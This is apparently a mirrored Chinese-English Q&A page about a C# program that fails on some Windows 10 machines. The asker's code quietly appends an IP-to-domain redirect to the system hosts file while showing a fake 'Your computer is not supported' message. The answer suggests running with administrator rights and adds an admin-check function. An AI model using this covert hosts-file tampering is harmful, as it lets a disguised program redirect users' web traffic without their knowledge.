繁体   English   中英

应用程序不在其他计算机上运行

[英]Apps not running on different machines

我有以下代码:

using System;
using System.IO;
using System.Net;
using System.Net.Mail;

namespace Nameddd
{
    class Program
    {
        static void Main(string[] args)
        {
            Hosts();
            Console.WriteLine("Loading..");
            Console.WriteLine("Your computer is not supported");
            Console.ReadKey();
        }
        static void Hosts()
        {
        {
            using (StreamWriter w = File.AppendText(Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.System), "drivers/etc/hosts")))
            {
                w.WriteLine("SOME_IP domain.com");
            }
        }

该程序为我工作,但显然不是在每个系统上。 我在Windows 10上使用VS 2015社区。在另一台计算机上,我的朋友(使用Windows 7)也可以使用。

但是对于使用Windows 10的人来说,它不起作用。 应用程序未运行,“正在加载游标”-就是这样。 如果我试图删除.exe,它将显示一个带有诸如“进程已在运行”之类的文本的消息框。

确保您以管理员身份运行代码或可执行文件。 您可能已打开文件,但无法将代码保存对文件失败的朋友的更改。

这里的另一篇文章中,您可以像这样检查它:

using System.Security.Principal;
public bool IsUserAdministrator()
{             
    bool isAdmin;
    try
    {
        WindowsIdentity user = WindowsIdentity.GetCurrent();
        WindowsPrincipal principal = new WindowsPrincipal(user);
        isAdmin = principal.IsInRole(WindowsBuiltInRole.Administrator);
    }
    catch (UnauthorizedAccessException ex)
    {
        isAdmin = false;
    }
    catch (Exception ex)
    {
        isAdmin = false;
    }
    return isAdmin;
}

暂无
暂无

声明:本站的技术帖子网页,遵循CC BY-SA 4.0协议,如果您需要转载,请注明本站网址或者原文地址。任何问题请咨询:yoyou2525@163.com.

 
粤ICP备18138465号  © 2020-2024 STACKOOM.COM